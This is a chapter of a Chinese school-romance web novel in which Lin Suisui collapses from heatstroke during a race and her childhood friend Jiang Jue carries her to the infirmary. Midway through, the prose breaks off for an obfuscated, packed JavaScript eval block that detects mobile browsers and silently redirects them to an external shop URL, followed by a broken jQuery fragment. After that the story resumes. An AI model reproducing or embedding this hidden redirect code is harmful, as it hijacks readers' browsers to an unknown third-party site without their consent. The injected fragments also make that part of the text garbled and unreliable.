文趣网 > 都市小说 > 盛放的我们 > 35.小狗日记35
    扑通,扑通。

    心跳骤然加快,林岁穗能感受到少年周身炽热的气息混着他身上那抹熟稔的松木的淡香。他的胸膛宽阔坚实,这种感觉很奇妙,她第一次感受。

    明明他们之间那样熟悉对方,也不是没有过肢体接触,可此时的接触与之前大不相同。这种微妙的感觉隐隐让她感到陌生、危险。

    她莫名害怕。

    林岁穗慌乱地站稳,使劲把他推开:“江珝!你故意的吧!”

    江珝回过神,想伸手扶她,却又有一瞬的犹豫,不敢触碰她。

    他怔怔道:“抱歉,我不是……”

    话音未落,许愿在看台下喊林岁穗的名字,催促她去检录。

    林岁穗像是抓住救命稻草,不等他说完,便凶巴巴瞪他一眼,留下一句“这辈子都不想搭理你”,匆匆跑开了。

    江珝愣在原地,掌心还弥留着淡淡的清甜香气。

    一切发生得太快,他的大脑一片空白,此时都未反应过来刚刚到底发生了什么。

    完了。

    彻底把她激怒了。

    看台上的三个男生纷纷落入沉默,谁也没说话。

    作为唯一知晓一切的吃瓜群众,陆泊舟这会儿哪儿敢说话。他脑补出一场激情澎湃狗血淋头的两难争一女三角恋大戏——

    在这短短几秒里,江珝和谢知年已经在他的想象中大战三百回合,并基于他和江珝多年的兄弟情谊,陆泊舟暗自判定江珝略胜一筹,最终抱得美人归……不过,看林岁穗刚才的反应,似乎对这个结果并不满意,最终将江珝一脚踹飞了。

    至于谢知年,除了那一瞬间的震惊外,自始至终都是一副淡淡的笑意。

    他最先打破沉默,问:“要不要去给岁岁加油?”

    江珝挠挠头:“我还是不去了吧……”

    她现在还在气头上,肯定不愿意看见他。

    谢知年笑吟吟道:“那我们两人去了?我之前和岁岁说好了,要去给她加油。”

    江珝默了默。

    比起被讨厌,他更不希望出现两人眉来眼去你侬我侬的画面。

    他立马改变主意:“我和你们一起去。”

    说罢,他还故意勾住谢知年的肩膀,像只狗皮膏药似的黏在谢知年身边,势必不让他单独出现在林岁穗的视线里。

    ……

    林岁穗跑下看台,长舒一口气,愈发猛烈的心跳声终于渐渐平复。

    方才来不及整理思绪,此时想来,大概是一切发生得太快,心里又堵着气,她的心脏才会砰砰直跳。

    一定是这样。

    许愿见她脸颊通红,疑惑地问:“怎么这么久?发生什么事了吗?”

    林岁穗愤恨地将来龙去脉告诉她,许愿吃吃地笑起来:“江珝帮你梳头发?我还是第一次见会梳头发的男生呢。”

    林岁穗指了指自己后脑勺那个跟狗啃似的发型,没好气道:“喏,这就是他梳的。你说说,使那么大劲儿能梳得好看吗?!我要是变成地中海,绝对是他干的好事!”

    许愿扫了一眼,忍了半天,可她不停抖动的肩膀还是暴露了她的真实想法:“嗯……是有点……不好说。”

    林岁穗虽然看不到自己的造型,但从许愿的反应也不难看出她现在的模样很难评。

    她一把薅掉发圈,重新将头发梳了一遍。她把手指当成梳子,捋了捋头发,被江珝编成小麻花的一边打着小卷,怎么捋也捋不直。

    真是气死了!!!

    要不是一会儿还有比赛,她真想把那个狗东西碎尸万段。

    林岁穗还要比赛,没办法,只能快速梳好马尾,跑去检录。

    其他人都来给她加油了。

    江珝也在。

    看他站在人群里,没皮没脸地对自己笑,林岁穗气不打一处来。

    ——这人怎么好意思出现在她面前,还朝她笑的??挑衅吗?!

    林岁穗越想越气,干脆化愤怒为动力,枪声一响,一溜烟儿跑出去了。

    站在观赛区的所有人都惊呆了。

    陆泊舟忍不住爆出粗口:“我靠,林女侠今天这么勇猛?这是要拿第一的节奏?”

    许愿有些担忧:“不对呀,她怎么比体育生冲得还猛?一会儿会不会没力气?”

    陆泊舟信誓旦旦:“你不懂,那是林女侠平时在隐藏实力,这才是她真正的实力!”

    林岁穗很快辜负了陆泊舟寄予的厚望。

    她只冲出去五十米,那股动力就消失殆尽了。

    她心想,她好像没必要和江珝那个狗东西生气,人要学会let it go。

    一旁的体育生轻而易举超过林岁穗,还不忘回头挑衅她一眼。

    林岁穗压根不吃压力,朝她微微一笑,再次放慢速度。

    一水儿人把她超了过去。

    体育生:“……”

    她本以为遇到个强劲对手,心里还燃起一股斗志,结果就是个纯菜鸡。她暗暗叹了口气,轻轻松松跑在第一名。

    某只小菜鸡很快变成了最后一名。

    虽说在最后,林岁穗跑得还是很痛苦。

    第一圈还没跑完,她就觉得自己已经用完了全部力气。

    喉头腥甜,脚步像灌了铅似的沉重。

    她在心里默默计算剩余的圈数,一圈、两圈……她不敢算了。

    答案令她更加痛苦。

    她觉得自己快要窒息了。

    此起彼伏的呐喊声逐渐变成尖锐的耳鸣声,她的大脑一阵眩晕,腹部也因岔气传来针扎般的痛。

    就在她准备停下脚步,放弃比赛时,林岁穗的余光瞟到正在给她加油的谢知年。

    她恍然想起他们的约定——

    他们说好,只要他来现场为她加油,她会努力跑完全程。

    林岁穗不想让他认为自己是个不守承诺的人。

    她深呼吸了一大口,努力重新调整呼吸,想象着自己正在轻快舒适地慢跑。

    然而这种方法并不管用。很快,她再次陷入无尽的痛苦中,整个人头重脚轻,摇摇欲坠。

    观战区的几人见她一脸痛不欲生的表情,开始担忧起来。

    许愿道:“岁岁看着好像很难受,她怎么还不停下来?”

    陆泊舟点头附和:“对啊,她去年不就是跑一半,走完了最后几圈吗?我记得她那回跑得还挺开心的,还说以后都这么干。”

    江珝也格外担心。

    林岁穗不喜欢跑步,每次体测她都痛不欲生。对于不喜欢的事情,她向来抱着“世上无难事,只要肯放弃”的乐观心态,不会难为自己。可这会儿,她却苦苦坚持,怎么也不愿停下来。

    江珝忍不住扬高音调,朝不远处的林岁穗喊道:“林岁穗!别强撑!跑不动就不要跑了!”

    林岁穗像是没有听到他说的话,依旧固执地坚持着。

    林岁穗另一大优秀品格就是死拧、不听劝。

    只要她认定的事情,十头牛来了都拉不住。

    江珝蹙起眉:“这家伙真的是……”

    话还未说完,面前那抹身影忽地一软,整个人摔在地上。

    人群里传来惊呼声,江珝微微一怔,旋即反应过来。

    “林岁穗!”他喊了她一声,想也不想地越过警戒线,朝她跑了过去。

    “同学!这里还在比赛——”

    裁判的声音从身后传来,江珝压根不理会,跑到林岁穗身边。

    林岁穗有些懵。

    她也不知道发生了什么,只记得自己眼前一黑,脚下一软,再反应过来时,已经摔坐在地上。

    林岁穗的大脑一片空白,只觉头晕目眩,耳边嗡鸣。她张了张嘴,却发现自己说不出话来,只能感受到掌心和膝盖上一片火辣辣的疼。

    “岁岁,你还好吗?”身边似乎有人跑了过来,将她扶起。

    林岁穗怔怔地看了他许久,才慢半拍地反应过来是江珝。

    她的眼眶一下涌入泪花,张了张嘴,终于能发出软软的音节:“江珝……”

    江珝见她掌心沾满灰尘与沙砾,柔软的皮肤下沁着血珠,他不禁蹙起眉,轻声询问:“能站起来吗?”

    林岁穗反应不过来他说了什么,只能朝他摇摇脑袋。

    她正想说些什么,却是一阵天旋地转,等她回过神来,发现自己已经被他腾空抱起。

    “唔!”她惊恐地睁大眼睛,死死搂住他的脖颈。

    江珝带她迅速离开跑道,给其他参赛者空出比赛的区域。

    他低声安慰她:“别怕,我带你去医务室。”

    其他人也赶了过来,纷纷关心她的情况。

    林岁穗软声安慰他们自己没事,可围过来的人越来越多,林岁穗渐渐反应过来,自己正被江珝打横抱着,也就是传说中的“公主抱”。

    她突然有些不好意思,脸颊红得像只熟透的苹果,也不知道是跑步闹的,还是阳光太晒,又或许是因为害羞。

    林岁穗搂着他的脖颈,能感受到少年身上炽热的体温。她想松手,又不敢松手,只能小心翼翼凑近他耳边,低声说:“你、你要不放我下来吧……我可以自己走。”

    江珝压根没想那么多,满心只有担忧。

    他紧紧蹙着眉尖,拒绝道:“不行,再摔了怎么办?”

    林岁穗不好意思再多说些什么,低下脑袋,努力把自己藏起来。

    一行人到了医务室。

    说是医务室,其实就是操场边的器材室,因着运动会的缘故,被隔出一小片空地,临时改造成医务室。

    这会儿医务室里没有其他人,只有值班的医务老师。

    见他们乌泱泱一群人,老师将他们遣散,只留下江珝一人陪在林岁穗身边。

    她帮林岁穗做了检查,对两人道:“没什么大事,就是中暑了。喝点藿香正气水,休息休息,后面别再参加别的比赛就行了。”

    听她这么说,江珝这才渐渐放下心来。

    老师给林岁穗拿了瓶藿香正气水,让她喝下,又帮她处理手掌与膝盖上的伤口。

    林岁穗穿着长裤,刚刚又着急,所有人都没注意到她膝盖上的伤口。此时掀起裤腿,江珝才发现她的膝盖一片乌青,渗着血珠,看上去触目惊心。

    他又担心起来,问医务老师:“老师,真的不用去医院照个片子吗?会不会是骨折?万一耽误了……”

    医务老师轻飘飘地掀起眼皮,朝他微微一笑:“要是骨折,你刚才把她带过来的姿势能让她疼死。”

    江珝:“……”

    她帮林岁穗处理好伤口

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734521|203708||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,放下手里的碘伏,对江珝道:“行了,让她在这儿吹会儿空调,好好休息下吧。你可以回去了。”

    江珝一本正经:“不行,老师。她走不了路,我得给她当拐杖。”

    医务老师:“……”

    她还是第一次见蹭破点皮就走不动路的。

    她懒得和江珝浪费口舌,没再管他。

    她回到门口继续值班,将两人留在帘子后的护理床上。

    林岁穗坐在床上,江珝站在旁边,两人谁也没说话。

    没一会儿,医务老师被人叫走,屋里只剩两人。

    空旷的房间里只有冷气呼呼的声响。

    林岁穗最先开口,小声对江珝道:“你先回去吧,我休息会儿就好,真的没事。”

    江珝咕哝:“我才不走,谁知道你一会儿会不会又晕倒。”

    “嗯?”林岁穗没听清,仰头看他。

    江珝环胸靠在墙边,正板着脸看她。

    他本想数落她几句,可与她对上视线的那一瞬间,语气又软了下来:“明明已经跑不动了,还非要逞能。我不是叫你别跑了,还装听不见。”

    林岁穗没说话。

    她确实没听到他当时说了什么,但她更不好意思告诉江珝自己是因为和谢知年的约定才死撑着想要跑到终点。如果被他知道是这么莫名其妙的原因,他一定会劈头盖脸骂她一顿。

    她绞着手指,干脆顺着他的话说:“还不是因为生你的气,才逞能的……”

    江珝愣了下:“你生我的气,也不能伤自己的身体啊。”

    林岁穗垂眸盯着自己的手指,没说话。

    江珝幽幽叹了声,蹲到她面前,指了指自己头顶,道:“喏,你不就嫌我给你梳头发不好看,你给我梳一个更丑的不就完了?下回不要拿自己的身体开玩笑。”

    林岁穗脸颊滚烫。

    她其实早就不生他的气了,还骗了他。可他不仅不生气,还关心她,哄她开心。

    她轻声道:“江珝,你真好。”

    江珝微微一怔。

    他的脸颊倏地红了大片,他别扭地把脑袋撇向一边,吞吞吐吐道:“别给我发好人卡。赶快的,仅此一次,不梳就算了。”

    “别嘛,我要梳。”林岁穗用脚尖轻轻踢他一下,笑道,“我给你梳个好看的。”

    她摘下自己的发圈,套在手上,伸手拢起他的头发。

    记忆里,上一次给他梳头发还是很小很小的时候,他陪她玩过家家,她非要给他梳个和自己一模一样的发型,发现他的头发梳不了,她还大闹了一场。后来,她再也没给他梳过头发。

    这还是两人长大以后,第一次给他梳头发。

    男生的头发要比女生的短很多,手感完全不同,很神奇,毛茸茸的,有点扎手。

    林岁穗想给他编个丑丑的小麻花,但他头发不够长,没法编麻花辫。

    她干脆抓起头顶那簇头发,给他梳了个“冲天揪”。

    江珝懒散散地蹲在她面前,一动不动,任由她摆布。

    林岁穗从来没有以这样的角度看过他,乖乖的,像只毛茸茸的大狗狗。

    她扑哧一下笑出声。

    江珝微不可查地蹙了下眉尖:“你笑什么……到底是多难看……”

    “不难看,挺好看的。”她笑得更厉害了。她伸手戳了戳他的“冲天揪”,道,“和我这个粉色的发圈非常配。”

    江珝问:“你把发圈给我了,你自己怎么办?”

    林岁穗笑道:“你也太不了解女生了。对我们来说发圈就是消耗品,手里一大把。我书包里还有好几个呢,你不用担心。”

    “哦。”江珝点点头,突然没头没脑地问了句,“你还有一样的款式吗?”

    林岁穗没多想,回道:“有啊,这个是一对儿,还有个小兔子挂坠的,也很可爱。”

    江珝含含糊糊道:“这个挺好看的,你多用用。”

    江珝似乎对自己的新发型很满意。

    他用手机当镜子看了半天自己的新造型,整个人肉眼可见的心情愉悦。

    林岁穗搞不懂这发型到底哪里好看,要不是他那张脸条件过硬,很难被发型毁掉,这个造型任谁看了都会笑话他是二傻子。

    林岁穗恢复得差不多,两人一同离开医务室。

    其他人见他们回来,纷纷凑上前关心她的情况。

    得知她身体没事,大家这才松了口气。

    张闯最先发现江珝的新造型,扑哧一声笑出来:“兄弟,你这发型……挺别致啊。”

    他一个人笑还不够,叫上其他几个男生过来一起观摩。

    江珝摸摸自己脑袋上的“冲天撅”,很是自恋地对几人吹了个口哨:“怎么样,帅吧?”

    几人也挺捧他,一边忍着笑,一边朝他比起大拇指。

    林岁穗:“……”

    纯傻子来的。

    她没往心里去,许愿说要给她买冰棍,她便开开心心挽着许愿去小超市了。

    只是,她完全忘记要管江珝要回发圈这茬儿。

    后来,她找了很久,都不记得自己把这个发圈落在哪里,只能戴同款的另一只。

    直到很久很久以后,久到她早已放弃寻找,她突然在江珝牵着自己的那只手腕上看到了它。